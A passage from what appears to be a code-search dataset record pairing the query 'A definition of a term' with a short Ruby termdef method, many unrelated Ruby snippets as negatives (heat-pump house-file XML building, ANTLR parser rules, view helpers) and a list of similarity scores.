elements[locationText].add_element(\"OutputCapacity\")\n\n locationText = \"HouseFile/House/HeatingCooling/Type2/AirHeatPump/Specifications/OutputCapacity\"\n elements[locationText].attributes[\"code\"] = \"2\"\n # I think these can be commented out if we default to 'calculated'\n #elements[locationText].attributes[\"value\"] = \"\"\n #elements[locationText].attributes[\"uiUnits\"] = \"kW\"\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n\n locationText = \"HouseFile/House/HeatingCooling/Type2/AirHeatPump/Specifications\"\n elements[locationText].add_element(\"HeatingEfficiency\")\n elements[locationText].add_element(\"CoolingEfficiency\")\n\n locationText = \"HouseFile/House/HeatingCooling/Type2/AirHeatPump/Specifications/HeatingEfficiency\"\n elements[locationText].attributes[\"isCop\"] = \"true\"\n elements[locationText].attributes[\"value\"] = \"2\"\n\n locationText = \"HouseFile/House/HeatingCooling/Type2/AirHeatPump/Specifications/CoolingEfficiency\"\n elements[locationText].attributes[\"isCop\"] = \"true\"\n elements[locationText].attributes[\"value\"] = \"2\"\n\n locationText = \"HouseFile/House/HeatingCooling/Type2/AirHeatPump\"\n elements[locationText].add_element(\"Temperature\")\n\n locationText = \"HouseFile/House/HeatingCooling/Type2/AirHeatPump/Temperature\"\n elements[locationText].add_element(\"CutoffType\")\n\n locationText = \"HouseFile/House/HeatingCooling/Type2/AirHeatPump/Temperature/CutoffType\"\n elements[locationText].attributes[\"code\"] = \"2\"\n elements[locationText].attributes[\"value\"] = \"0\"\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n\n locationText = \"HouseFile/House/HeatingCooling/Type2/AirHeatPump/Temperature\"\n elements[locationText].add_element(\"RatingType\")\n\n # CHECK this - should be 8.3 ?\n\n locationText = \"HouseFile/House/HeatingCooling/Type2/AirHeatPump/Temperature/RatingType\"\n elements[locationText].attributes[\"code\"] = \"3\"\n elements[locationText].attributes[\"value\"] = \"-5.0\"\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n\n locationText = \"HouseFile/House/HeatingCooling/Type2/AirHeatPump\"\n elements[locationText].add_element(\"CoolingParameters\")\n\n locationText = \"HouseFile/House/HeatingCooling/Type2/AirHeatPump/CoolingParameters\"\n elements[locationText].attributes[\"sensibleHeatRatio\"] = \"0.76\"\n elements[locationText].attributes[\"openableWindowArea\"] = \"20\"\n\n elements[locationText].add_element(\"FansAndPump\")\n\n locationText = \"HouseFile/House/HeatingCooling/Type2/AirHeatPump/CoolingParameters/FansAndPump\"\n # Do we need to set this? what should we set it to?\n elements[locationText].attributes[\"flowRate\"] = \"700\"\n\n elements[locationText].add_element(\"Mode\")\n elements[locationText].add_element(\"Power\")\n\n locationText = \"HouseFile/House/HeatingCooling/Type2/AirHeatPump/CoolingParameters/FansAndPump/Mode\"\n elements[locationText].attributes[\"code\"] = \"1\"\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n\n locationText = \"HouseFile/House/HeatingCooling/Type2/AirHeatPump/CoolingParameters/FansAndPump/Power\"\n elements[locationText].attributes[\"isCalculated\"] = \"true\"\n\n elsif ( sysType2Name == \"WaterHeatPump\" )\n locationText = \"HouseFile/House/HeatingCooling/Type2/WaterHeatPump\"\n elements[locationText].add_element(\"EquipmentInformation\")\n locationText = \"HouseFile/House/HeatingCooling/Type2/WaterHeatPump/EquipmentInformation\"\n elements[locationText].attributes[\"canCsaC448\"] = \"false\"\n\n locationText = \"HouseFile/House/HeatingCooling/Type2/WaterHeatPump\"\n elements[locationText].add_element(\"Equipment\")\n locationText = \"HouseFile/House/HeatingCooling/Type2/WaterHeatPump/Equipment\"\n elements[locationText].attributes[\"crankcaseHeater\"] = \"0\"\n elements[locationText].add_element(\"Function\")\n locationText = \"HouseFile/House/HeatingCooling/Type2/WaterHeatPump/Equipment/Function\"\n elements[locationText].attributes[\"code\"] = \"1\"\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n\n locationText = \"HouseFile/House/HeatingCooling/Type2/WaterHeatPump\"\n elements[locationText].add_element(\"Specifications\")\n locationText = \"HouseFile/House/HeatingCooling/Type2/WaterHeatPump/Specifications\"\n elements[locationText].add_element(\"OutputCapacity\")\n locationText = \"HouseFile/House/HeatingCooling/Type2/WaterHeatPump/Specifications/OutputCapacity\"\n elements[locationText].attributes[\"code\"] = \"2\"\n elements[locationText].attributes[\"value\"] = \"21.5\"\n elements[locationText].attributes[\"uiUnits\"] = \"kW\"\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n locationText = \"HouseFile/House/HeatingCooling/Type2/WaterHeatPump/Specifications\"\n elements[locationText].add_element(\"HeatingEfficiency\")\n locationText = \"HouseFile/House/HeatingCooling/Type2/WaterHeatPump/Specifications/HeatingEfficiency\"\n elements[locationText].attributes[\"isCop\"] = \"true\"\n elements[locationText].attributes[\"value\"] = \"3\"\n\n locationText = \"HouseFile/House/HeatingCooling/Type2/WaterHeatPump\"\n elements[locationText].add_element(\"Temperature\")\n locationText = \"HouseFile/House/HeatingCooling/Type2/WaterHeatPump/Temperature\"\n elements[locationText].add_element(\"CutOffType\")\n locationText = \"HouseFile/House/HeatingCooling/Type2/WaterHeatPump/Temperature/CutOffType\"\n elements[locationText].attributes[\"code\"] = \"3\"\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n locationText = \"HouseFile/House/HeatingCooling/Type2/WaterHeatPump/Temperature\"\n elements[locationText].add_element(\"RatingType\")\n locationText = \"HouseFile/House/HeatingCooling/Type2/WaterHeatPump/Temperature/RatingType\"\n elements[locationText].attributes[\"code\"] = \"1\"\n elements[locationText].attributes[\"value\"] = \"8.3\"\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n\n locationText = \"HouseFile/House/HeatingCooling/Type2/WaterHeatPump\"\n elements[locationText].add_element(\"SourceTemperature\")\n locationText = \"HouseFile/House/HeatingCooling/Type2/WaterHeatPump/SourceTemperature\"\n elements[locationText].attributes[\"depth\"] = \"1.5\"\n elements[locationText].add_element(\"Use\")\n locationText = \"HouseFile/House/HeatingCooling/Type2/WaterHeatPump/SourceTemperature/Use\"\n elements[locationText].attributes[\"code\"] = \"2\"\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n\n elsif ( sysType2Name == \"GroundHeatPump\" )\n locationText = \"HouseFile/House/HeatingCooling/Type2/GroundHeatPump\"\n elements[locationText].add_element(\"EquipmentInformation\")\n locationText = \"HouseFile/House/HeatingCooling/Type2/GroundHeatPump/EquipmentInformation\"\n elements[locationText].attributes[\"canCsaC448\"] = \"false\"\n\n locationText = \"HouseFile/House/HeatingCooling/Type2/GroundHeatPump\"\n elements[locationText].add_element(\"Equipment\")\n locationText = \"HouseFile/House/HeatingCooling/Type2/GroundHeatPump/Equipment\"\n elements[locationText].attributes[\"crankcaseHeater\"] = \"0\"\n elements[locationText].add_element(\"Function\")\n locationText = \"HouseFile/House/HeatingCooling/Type2/GroundHeatPump/Equipment/Function\"\n elements[locationText].attributes[\"code\"] = \"1\"\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n\n locationText = \"HouseFile/House/HeatingCooling/Type2/GroundHeatPump\"\n elements[locationText].add_element(\"Specifications\")\n locationText = \"HouseFile/House/HeatingCooling/Type2/GroundHeatPump/Specifications\"\n elements[locationText].add_element(\"OutputCapacity\")\n locationText = \"HouseFile/House/HeatingCooling/Type2/GroundHeatPump/Specifications/OutputCapacity\"\n elements[locationText].attributes[\"code\"] = \"2\"\n elements[locationText].attributes[\"value\"] = \"21.5\"\n elements[locationText].attributes[\"uiUnits\"] = \"kW\"\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n locationText = \"HouseFile/House/HeatingCooling/Type2/GroundHeatPump/Specifications\"\n elements[locationText].add_element(\"HeatingEfficiency\")\n locationText = \"HouseFile/House/HeatingCooling/Type2/GroundHeatPump/Specifications/HeatingEfficiency\"\n elements[locationText].attributes[\"isCop\"] = \"true\"\n elements[locationText].attributes[\"value\"] = \"3\"\n locationText = \"HouseFile/House/HeatingCooling/Type2/GroundHeatPump/Specifications\"\n elements[locationText].add_element(\"CoolingEfficiency\")\n locationText = \"HouseFile/House/HeatingCooling/Type2/GroundHeatPump/Specifications/CoolingEfficiency\"\n elements[locationText].attributes[\"isCop\"] = \"true\"\n elements[locationText].attributes[\"value\"] = \"3\"\n\n locationText = \"HouseFile/House/HeatingCooling/Type2/GroundHeatPump\"\n elements[locationText].add_element(\"Temperature\")\n locationText = \"HouseFile/House/HeatingCooling/Type2/GroundHeatPump/Temperature\"\n elements[locationText].add_element(\"CutoffType\")\n locationText = \"HouseFile/House/HeatingCooling/Type2/GroundHeatPump/Temperature/CutoffType\"\n elements[locationText].attributes[\"code\"] = \"3\"\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n locationText = \"HouseFile/House/HeatingCooling/Type2/GroundHeatPump/Temperature\"\n elements[locationText].add_element(\"RatingType\")\n locationText = \"HouseFile/House/HeatingCooling/Type2/GroundHeatPump/Temperature/RatingType\"\n elements[locationText].attributes[\"code\"] = \"1\"\n elements[locationText].attributes[\"value\"] = \"8.3\"\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n\n locationText = \"HouseFile/House/HeatingCooling/Type2/GroundHeatPump\"\n elements[locationText].add_element(\"SourceTemperature\")\n locationText = \"HouseFile/House/HeatingCooling/Type2/GroundHeatPump/SourceTemperature\"\n elements[locationText].attributes[\"depth\"] = \"1.5\"\n elements[locationText].add_element(\"Use\")\n locationText = \"HouseFile/House/HeatingCooling/Type2/GroundHeatPump/SourceTemperature/Use\"\n elements[locationText].attributes[\"code\"] = \"2\"\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n\n locationText = \"HouseFile/House/HeatingCooling/Type2/GroundHeatPump\"\n elements[locationText].add_element(\"CoolingParameters\")\n\n locationText = \"HouseFile/House/HeatingCooling/Type2/GroundHeatPump/CoolingParameters\"\n elements[locationText].attributes[\"sensibleHeatRatio\"] = \"0.76\"\n elements[locationText].attributes[\"openableWindowArea\"] = \"20\"\n\n elements[locationText].add_element(\"FansAndPump\")\n\n locationText = \"HouseFile/House/HeatingCooling/Type2/GroundHeatPump/CoolingParameters/FansAndPump\"\n # Do we need to set this? what should we set it to?\n elements[locationText].attributes[\"flowRate\"] = \"360\"\n\n elements[locationText].add_element(\"Mode\")\n elements[locationText].add_element(\"Power\")\n\n locationText = \"HouseFile/House/HeatingCooling/Type2/GroundHeatPump/CoolingParameters/FansAndPump/Mode\"\n elements[locationText].attributes[\"code\"] = \"1\"\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n\n locationText = \"HouseFile/House/HeatingCooling/Type2/GroundHeatPump/CoolingParameters/FansAndPump/Power\"\n elements[locationText].attributes[\"isCalculated\"] = \"true\"\n\n elsif ( sysType2Name == \"AirConditioning\" )\n locationText = \"HouseFile/House/HeatingCooling/Type2/AirConditioning\"\n elements[locationText].add_element(\"EquipmentInformation\")\n locationText = \"HouseFile/House/HeatingCooling/Type2/AirConditioning/EquipmentInformation\"\n elements[locationText].attributes[\"energystar\"] = \"false\"\n\n locationText = \"HouseFile/House/HeatingCooling/Type2/AirConditioning\"\n elements[locationText].add_element(\"Equipment\")\n locationText = \"HouseFile/House/HeatingCooling/Type2/AirConditioning/Equipment\"\n elements[locationText].attributes[\"crankcaseHeater\"] = \"60\"\n elements[locationText].add_element(\"CentralType\")\n locationText = \"HouseFile/House/HeatingCooling/Type2/AirConditioning/Equipment/CentralType\"\n elements[locationText].attributes[\"code\"] = \"1\"\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n\n locationText = \"HouseFile/House/HeatingCooling/Type2/AirConditioning\"\n elements[locationText].add_element(\"Specifications\")\n locationText = \"HouseFile/House/HeatingCooling/Type2/AirConditioning/Specifications\"\n elements[locationText].attributes[\"sizingFactor\"] = \"1\"\n elements[locationText].add_element(\"RatedCapacity\")\n locationText = \"HouseFile/House/HeatingCooling/Type2/AirConditioning/Specifications/RatedCapacity\"\n elements[locationText].attributes[\"code\"] = \"2\"\n elements[locationText].attributes[\"value\"] = \"0\"\n elements[locationText].attributes[\"uiUnits\"] = \"kW\"\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n locationText = \"HouseFile/House/HeatingCooling/Type2/AirConditioning/Specifications\"\n elements[locationText].add_element(\"Efficiency\")\n locationText = \"HouseFile/House/HeatingCooling/Type2/AirConditioning/Specifications/Efficiency\"\n elements[locationText].attributes[\"isCop\"] = \"true\"\n elements[locationText].attributes[\"value\"] = \"3\"\n\n locationText = \"HouseFile/House/HeatingCooling/Type2/AirConditioning\"\n elements[locationText].add_element(\"CoolingParameters\")\n locationText = \"HouseFile/House/HeatingCooling/Type2/AirConditioning/CoolingParameters\"\n elements[locationText].attributes[\"sensibleHeatRatio\"] = \"0.76\"\n elements[locationText].attributes[\"openableWindowArea\"] = \"20\"\n elements[locationText].add_element(\"FansAndPump\")\n locationText = \"HouseFile/House/HeatingCooling/Type2/AirConditioning/CoolingParameters/FansAndPump\"\n elements[locationText].attributes[\"flowRate\"] = \"0\"\n elements[locationText].add_element(\"Mode\")\n locationText = \"HouseFile/House/HeatingCooling/Type2/AirConditioning/CoolingParameters/FansAndPump/Mode\"\n elements[locationText].attributes[\"code\"] = \"1\"\n elements[locationText].add_element(\"English\")\n elements[locationText].add_element(\"French\")\n locationText = \"HouseFile/House/HeatingCooling/Type2/AirConditioning/CoolingParameters/FansAndPump\"\n elements[locationText].add_element(\"Power\")\n locationText = \"HouseFile/House/HeatingCooling/Type2/AirConditioning/CoolingParameters/FansAndPump/Power\"\n elements[locationText].attributes[\"isCalculated\"] = \"true\"\n end\nend", "def getPropertyDisplayWithCategories(property_info)\n subclassDisplay = Array.new\n subclasses = property_info[\"subclasses\"]\n subclasses.each do|subclass|\n #Rails.logger.debug(\"Subclass exists #{subclass.inspect}\")\n subclassname = subclass[\"name\"]\n subclassDisplay << \"<h4>\" + subclassname + \"</h4>\"\n if(subclass.has_key?(\"statements\"))\n #Rails.logger.debug(\"Subclass does have key statements\")\n statements = subclass[\"statements\"]\n statementDisplay = getStatementsDisplay(statements, property_info)\n subclassDisplay.push(*statementDisplay)\n else\n #Rails.logger.debug(\"Subclass does NOT have key statements\")\n end\n #Rails.logger.debug(\"Statements after subclass is now #{statements.inspect}\")\n end\n return subclassDisplay\n end", "def toc_title(item)\n case item.type\n when \"section\"\n if not item.heading or item.heading.empty?\n \"Section #{item.num}\" \n elsif item.num\n \"#{item.num} #{item.heading}\"\n else\n item.heading\n end\n when \"part\", \"chapter\"\n \"#{item.type.capitalize} #{item.num} - #{item.heading}\"\n else\n if item.heading? and !item.heading.empty?\n item.heading\n else\n s = item.type.capitalize\n s += \" #{item.num}\" if item.num\n s += \" - #{item.heading}\" if item.heading\n s\n end\n end\n end", "def text(value)\n return ele_index UIAStaticText, value if value.is_a? Numeric\n ele_by_json_visible_contains UIAStaticText, value\n end", "def type_title\n \treturn SurvivorEntry.game_type_title(SurvivorEntry.name_to_game_type(self.game_type))\n end", "def title\n # TODO: Don't parse ser_type every time\n r_class = Thales::Datamodel::CLASS_FOR[record.ser_type]\n data = r_class.new.deserialize(record.ser_data)\n\n data.display_title\n end", "def description_nested\n self[Solrizer.solr_name('description_nested', :displayable)]\n end", "def ordered_product_label\n $tracer.trace(format_method(__method__))\n return ToolTag.new(@tag.find.div.className(create_ats_regex_string(\"col1\")), format_method(__method__))\n end", "def type_label\n @type.underscore.humanize.titleize\n end", "def type_label\n @type.underscore.humanize.titleize\n end", "def render\n content_tag(:span, children, class: \"label #{dom_label_class}\")\n end", "def value_helper_text(type, text)\n value_el = Ox::Element.new(:value)\n value_el['xsi:type'] = type\n value_el << text\n value_el\n end", "def title\n\t\tnode['title']\n\tend", "def render_facet_value(facet_solr_field, item, options ={})\n return if facet_solr_field == 'human_readable_type_sim' && item.value == 'Collection'\n super\n end", "def data_types\n @title = 'Data Type Listing A-Z'\n @objects_by_letter = objects_by_letter(:puppet_data_type, :puppet_data_type_alias)\n erb(:objects)\nend", "def title_for(product, test_type, is_qrda_1_measure_test: true)\n case test_type\n when 'ChecklistTest'\n product.c3_test && product.eh_tests? ? 'C1 + C3 Sample' : 'C1 Sample'\n when 'MeasureTest'\n measure_test_title(product, is_qrda_1_measure_test:)\n when 'FilteringTest'\n 'C4 (QRDA-I and QRDA-III)'\n when 'MultiMeasureTest'\n 'MultiMeasureTest'\n when 'CMSProgramTest'\n 'CMSProgramTest'\n end\n end", "def generate_markup\n\t\tordering = get_ordering\n\t\tmarkup_text = \"\"\n\n\t\tordering.each do |obj_place|\n\n\t\t\telement = obj_place.model.constantize.find(obj_place.id) #find the element referred to in the objectplace\t\n\t\t\twhitespace = \"\"\n\t\t\ttype_char = \"\"\n\t\t\tinfo = \"\"\n\n\t\t\t#get the whitespace, which is three spaces for every depth\n\t\t\t(element.depth*3).times do\n\t\t\t\twhitespace << \" \"\n\t\t\tend\n\n\t\t\t#if it's a node, gets its category and title, builds a string with a comma\n\t\t\tif element.is_a?(Node)\n\t\t\t\ttype_char = \".\"\n\t\t\t\tcategory_text = \"\"\n\t\t\t\tif element.category.name != \"\"\n\t\t\t\t\tcategory_text = element.category.name.capitalize + \",\"\n\t\t\t\tend\n\t\t\t\ttitle = element.title\n\t\t\t\tinfo = category_text + title\n\n\t\t\t#if it's a note, gets its body\n\t\t\telsif element.is_a?(Note)\n\t\t\t\ttype_char = \"-\"\n\t\t\t\tbody = element.body\n\t\t\t\tinfo = body\n\n\t\t\t#if it's a LinkCollection, builds the string with the link's child names comma separated\n\t\t\telsif element.is_a?(LinkCollection)\n\t\t\t\ttype_char = \":\"\n\t\t\t\tlinks_text = \"\"\n\t\t\t\telement.links.each do |link|\n\t\t\t\t\tif link.child != nil\n\t\t\t\t\t\tlinks_text << link.child.title + \" , \"\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tif links_text != \"\"\n\t\t\t\t\tlinks_text = links_text[0..-4] #removes the trailing spaces and comma\n\t\t\t\tend\n\t\t\t\tinfo = links_text\n\t\t\telsif element.is_a?(PlaceHolder) #it's a place_holder\n\t\t\t\twhitespace = \"\"\n\t\t\t\ttype_char = \"\"\n\t\t\t\tinfo = element.text\n\t\t\tend\n\t\t\tmarkup_text << whitespace + type_char + info + \"\\r\\n\"\n\t\tend\n\t\treturn markup_text\n\tend", "def describe(type)\n @doc.xpath(\"//#{type}\").first\n end", "def describe(type)\n @doc.xpath(\"//#{type}\").first\n end", "def header_markup(type)\n if type == :selectable\n content = \"All Available #{attribute_name.to_s.sub('_id', '').titleize}\"\n specific_class = 'selectable'\n elsif type == :selection\n content = 'Current Selections'\n specific_class = 'selection'\n end\n\n content_tag(:div, content, class: \"pure-admin-multiselect-header #{specific_class}\",\n style: 'display: none;')\n end", "def node_type; end", "def node_type; end", "def inspect\n\t\tparts = []\n\t\tparts << self.one_of_description\n\t\tparts << self.all_of_description\n\t\tparts << self.none_of_description\n\t\tparts.compact!\n\n\t\tstr = \"#<%p:%#0x matching entities\" % [ self.class, self.object_id * 2 ]\n\t\tif parts.empty?\n\t\t\tstr << \" with any components\"\n\t\telse\n\t\t\tstr << parts.join( ', ' )\n\t\tend\n\t\tstr << \">\"\n\n\t\treturn str\n\tend", "def facet_description\n %{ in facet \"#{@field}\"}\n end", "def node_type() ; info[:node_type] ; end", "def node_type() ; info[:node_type] ; end", "def handle_title(name, attrs) \n \n end", "def content_description_from_essence_type(element, essence_type)\n {\n 'type' => essence_type,\n 'name' => content_name_from_element_and_essence_type(element, essence_type)\n }\n end" ]
[ "0.5838458", "0.55890626", "0.5564517", "0.55099326", "0.5479761", "0.54552555", "0.543057", "0.54146856", "0.53108644", "0.53073305", "0.5296283", "0.52507603", "0.5195523", "0.51909584", "0.5187873", "0.51597935", "0.5089572", "0.5045953", "0.5045502", "0.5043693", "0.5035855", "0.50323164", "0.5031397", "0.5017218", "0.50159216", "0.49984333", "0.49969307", "0.49940282", "0.4984875", "0.49830103", "0.49766138", "0.4960587", "0.4958881", "0.495075", "0.49502593", "0.49403274", "0.49086118", "0.49076697", "0.49052632", "0.4899104", "0.48620367", "0.4860112", "0.48587117", "0.48587117", "0.48540825", "0.48508397", "0.4845162", "0.48431942", "0.48392338", "0.48337442", "0.48272344", "0.48092088", "0.48080817", "0.48065773", "0.48056763", "0.48033807", "0.48012695", "0.47981808", "0.47974294", "0.4793653", "0.47900444", "0.47825104", "0.47770566", "0.4776703", "0.47712326", "0.47604182", "0.47544", "0.47523367", "0.47515276", "0.47509214", "0.47508278", "0.47504315", "0.47484583", "0.47478572", "0.47472948", "0.47438648", "0.47425082", "0.47412035", "0.47404134", "0.47313514", "0.47276267", "0.47276267", "0.47264495", "0.4721664", "0.47199547", "0.47179124", "0.471515", "0.47149128", "0.47147518", "0.4714365", "0.47141558", "0.4713342", "0.47131655", "0.47131655", "0.4712619", "0.47071868", "0.47065154", "0.47065154", "0.46915954", "0.46894383" ]
0.5529715
3
A definition of a term
def termdef(name) element(name, {:name => name, :class=>:term}, 'a') end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def term; end", "def term\n @term\n end", "def termdef(name)\n element(name, {:name => name, :class => 'object_type'}, 'a')\n end", "def termdef(name)\n element(name, {:name => name, :class => 'object_type'}, 'a')\n end", "def termdef(name)\n element(name, {:name => name, :class => 'object_type'}, 'a')\n end", "def term!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 39 )\n\n type = TERM\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 174:8: 'term'\n match( \"term\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 39 )\n\n end", "def term\n eat_ws_and_comments\n if peek == \"'\" # quoted\n return quote_term\n elsif peek == \"`\" # quasiquote\n return quasi_term\n elsif peek == \",\"\n return unquote_term\n elsif str = string_term\n return str\n end\n # We begin by trying the various collections\n [:list_term, :array_term, :hash_term].each do |coll|\n coll = method coll\n value = coll.call\n return value unless value.nil?\n end\n # Then it must be a basic term\n naive_term\n end", "def term(name)\n element(name, :class=>:term)\n end", "def term\n self.name\n end", "def terms\n\n end", "def terms\n\n end", "def termsig(*) end", "def terms\n end", "def term(name)\n element(name, :class=>:object_type)\n end", "def term(name)\n element(name, :class=>:object_type)\n end", "def term(name)\n element(name, :class=>:object_type)\n end", "def term_name\n self.content\n end", "def term\n Term.find(self.term_id)\n end", "def terms\n\tend", "def initialize term, leading_adjective = nil, trailing_adjective = nil, quantifier = nil, function_call = nil, role_name = nil, value_constraint = nil, literal = nil, nested_clauses = nil\n @term = term\n @leading_adjective = leading_adjective\n @trailing_adjective = trailing_adjective\n @quantifier = quantifier\n # @function_call = function_call # Not used or implemented\n @role_name = role_name\n @value_constraint = value_constraint\n @literal = literal\n @nested_clauses = nested_clauses\n end", "def to_term\n Upl::Term.new to_term_t\n end", "def terms\n raise NotImplementedError\n end", "def compile_term\n write_tag '<term>'\n if match(TokenType::STING_CONST)\n write_tag '</term>'\n return\n end\n if match(TokenType::INT_CONST)\n write_tag '</term>'\n return\n end\n if check_any?('true', 'false', 'null', 'this')\n consume(TokenType::KEYWORD)\n write_tag '</term>'\n return\n end\n if check?(TokenType::IDENTIFIER)\n if lookahead(1).lexeme == '[' # ArrayEntry\n consume(TokenType::IDENTIFIER)\n consume('[')\n compile_expression\n consume(']')\n elsif lookahead(1).lexeme == '.'\n compile_subroutine_call\n else\n consume(TokenType::IDENTIFIER) # variable\n end\n write_tag '</term>'\n return\n end\n\n if check?('(')\n consume('(')\n compile_expression\n consume(')')\n write_tag '</term>'\n return\n end\n\n if check_any?('-', '~')\n consume(TokenType::SYMBOL)\n compile_term\n end\n write_tag '</term>'\n end", "def term(**mapping)\n render(TERM, **mapping)\n end", "def term\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 23 )\n\n\n value = nil\n\n\n b = nil\n\n\n begin\n # at line 150:3: (b= literal |b= function_call_statement | '(' b= expression ')' )\n alt_39 = 3\n case look_39 = @input.peek( 1 )\n when BOOLEAN, CHAR, FLOAT, INTEGER, STRING then alt_39 = 1\n when IDENT then alt_39 = 2\n when T__34 then alt_39 = 3\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n\n\n raise NoViableAlternative( \"\", 39, 0 )\n\n end\n case alt_39\n when 1\n # at line 150:5: b= literal\n @state.following.push( TOKENS_FOLLOWING_literal_IN_term_1103 )\n b = literal\n @state.following.pop\n\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n value = b \n # <-- action\n end\n\n\n when 2\n # at line 151:5: b= function_call_statement\n @state.following.push( TOKENS_FOLLOWING_function_call_statement_IN_term_1113 )\n b = function_call_statement\n @state.following.pop\n\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n value = b \n # <-- action\n end\n\n\n when 3\n # at line 152:5: '(' b= expression ')'\n match( T__34, TOKENS_FOLLOWING_T__34_IN_term_1121 )\n @state.following.push( TOKENS_FOLLOWING_expression_IN_term_1125 )\n b = expression\n @state.following.pop\n match( T__35, TOKENS_FOLLOWING_T__35_IN_term_1127 )\n\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n value = ParenExpressionEval.new(b) \n # <-- action\n end\n\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 23 )\n\n\n end\n\n return value\n end", "def term\n one_of [\n method(:tag),\n method(:metatag),\n method(:wildcard),\n ]\n end", "def term\n return unless lecture.present?\n lecture.term\n end", "def term\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 21 )\n return_value = TermReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n begin\n # at line 111:10: ( LOALPHA | reserved_words ) ( LOALPHA | DIGIT | DASH | UNDERSCORE | DOT | reserved_words )*\n # at line 111:10: ( LOALPHA | reserved_words )\n alt_32 = 2\n look_32_0 = @input.peek( 1 )\n\n if ( look_32_0 == LOALPHA )\n alt_32 = 1\n elsif ( look_32_0 == SCHEME || look_32_0.between?( CLASS, ACTIONS ) || look_32_0.between?( SELF, CATEGORY ) || look_32_0.between?( KIND, ACTION ) || look_32_0.between?( LINK, TERM ) )\n alt_32 = 2\n else\n raise NoViableAlternative( \"\", 32, 0 )\n end\n case alt_32\n when 1\n # at line 111:12: LOALPHA\n match( LOALPHA, TOKENS_FOLLOWING_LOALPHA_IN_term_923 )\n\n when 2\n # at line 111:22: reserved_words\n @state.following.push( TOKENS_FOLLOWING_reserved_words_IN_term_927 )\n reserved_words\n @state.following.pop\n\n end\n # at line 111:39: ( LOALPHA | DIGIT | DASH | UNDERSCORE | DOT | reserved_words )*\n while true # decision 33\n alt_33 = 7\n case look_33 = @input.peek( 1 )\n when LOALPHA then alt_33 = 1\n when DIGIT then alt_33 = 2\n when DASH then alt_33 = 3\n when UNDERSCORE then alt_33 = 4\n when DOT then alt_33 = 5\n when SCHEME, CLASS, TITLE, REL, LOCATION, ATTRIBUTES, ACTIONS, SELF, CATEGORY, KIND, MIXIN, ACTION, LINK, TERM then alt_33 = 6\n end\n case alt_33\n when 1\n # at line 111:41: LOALPHA\n match( LOALPHA, TOKENS_FOLLOWING_LOALPHA_IN_term_933 )\n\n when 2\n # at line 111:51: DIGIT\n match( DIGIT, TOKENS_FOLLOWING_DIGIT_IN_term_937 )\n\n when 3\n # at line 111:59: DASH\n match( DASH, TOKENS_FOLLOWING_DASH_IN_term_941 )\n\n when 4\n # at line 111:66: UNDERSCORE\n match( UNDERSCORE, TOKENS_FOLLOWING_UNDERSCORE_IN_term_945 )\n\n when 5\n # at line 111:79: DOT\n match( DOT, TOKENS_FOLLOWING_DOT_IN_term_949 )\n\n when 6\n # at line 111:85: reserved_words\n @state.following.push( TOKENS_FOLLOWING_reserved_words_IN_term_953 )\n reserved_words\n @state.following.pop\n\n else\n break # out of loop for decision 33\n end\n end # loop for decision 33\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 21 )\n\n end\n \n return return_value\n end", "def term\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 14 )\n\n begin\n # at line 54:11: factor ( ( ( MULT | DIV ) ) ( factor ) )*\n @state.following.push( TOKENS_FOLLOWING_factor_IN_term_578 )\n factor\n @state.following.pop\n # at line 54:17: ( ( ( MULT | DIV ) ) ( factor ) )*\n while true # decision 18\n alt_18 = 2\n look_18_0 = @input.peek( 1 )\n\n if ( look_18_0.between?( MULT, DIV ) )\n alt_18 = 1\n\n end\n case alt_18\n when 1\n # at line 54:18: ( ( MULT | DIV ) ) ( factor )\n # at line 54:18: ( ( MULT | DIV ) )\n # at line 54:19: ( MULT | DIV )\n # at line 54:19: ( MULT | DIV )\n alt_17 = 2\n look_17_0 = @input.peek( 1 )\n\n if ( look_17_0 == MULT )\n alt_17 = 1\n elsif ( look_17_0 == DIV )\n alt_17 = 2\n else\n raise NoViableAlternative( \"\", 17, 0 )\n end\n case alt_17\n when 1\n # at line 54:21: MULT\n match( MULT, TOKENS_FOLLOWING_MULT_IN_term_583 )\n # --> action\n agc_3(['*','/'])\n # <-- action\n # --> action\n agc_2('*')\n # <-- action\n\n when 2\n # at line 54:58: DIV\n match( 